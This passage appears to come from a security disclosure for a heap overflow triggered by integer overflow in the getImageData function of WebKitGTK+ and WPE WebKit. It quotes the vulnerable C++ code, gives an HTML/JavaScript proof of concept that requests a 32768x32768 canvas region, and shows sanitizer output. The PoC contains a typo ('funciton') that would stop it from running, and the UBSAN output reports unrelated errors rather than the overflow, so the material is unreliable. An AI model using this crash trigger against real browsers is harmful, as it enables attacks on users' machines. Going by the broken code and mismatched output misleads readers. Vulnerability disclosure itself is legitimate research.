# without any overflow checks. If result is larger than UINT_MAX,
# heap-based buffer overflow via integer overflow will occur,
# which could be exploited further.
# Works on WebKitGTK+ <2.20.3 and WPE WebKit <2.20.1
# Credit to ADlab of Venustech for originally finding this vulnerability.
Vulnerable Code (Source/WebCore/platform/graphics/cairo/ImageBufferCairo.cpp):
template <AlphaPremultiplication premultiplied>
RefPtr<Uint8ClampedArray> getImageData(const IntRect& rect, const IntRect& logicalRect, const ImageBufferData& data, const IntSize& size, const IntSize& logicalSize, float resolutionScale)
{
auto result = Uint8ClampedArray::createUninitialized(rect.width() * rect.height() * 4);
if (!result)
return nullptr;
//...
# Proof of Concept:
<html>
<head>
<script>
funciton poc() {
var c = document.getElementById("myCanvas");
var ctx = c.getContext("2d");
var imgData = ctx.getImageData(0, 0, 32768, 32768);
}
</script>
</head>
<body onload="poc()">
<canvas id="myCanvas" width="32768" height="32768">No HTML5 canvas tag.</canvas>
</body>
</html>
# Output snippet
UBSAN output:
../Source/JavaScriptCore/runtime/JSGlobalObject.cpp:1608:22: runtime error:
call to function (unknown) through pointer to incorrect function type
'JSC::RuntimeFlags (*)(const JSC::JSGlobalObject *)'
(/usr/local/lib/libwebkit2gtk-4.0.so.37+0x11116c70): note: (unknown) defined here
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior
../Source/JavaScriptCore/runtime/JSObject.h:695:17 in
DerivedSources/JavaScriptCore/KeywordLookup.h:469:13: runtime error:
load of misaligned address 0x7fd8a1d95062 for type 'const uint32_t'
(aka 'const unsigned int'), which requires 4 byte alignment
0x7fd8a1d95062: note: pointer points here
00 00 28 66 75 6e 63 74 69 6f 6e 20 28 74 68 69 73 56 61 6c 75 65 2c 20 61 72 67 75 6d 65 6e 74
^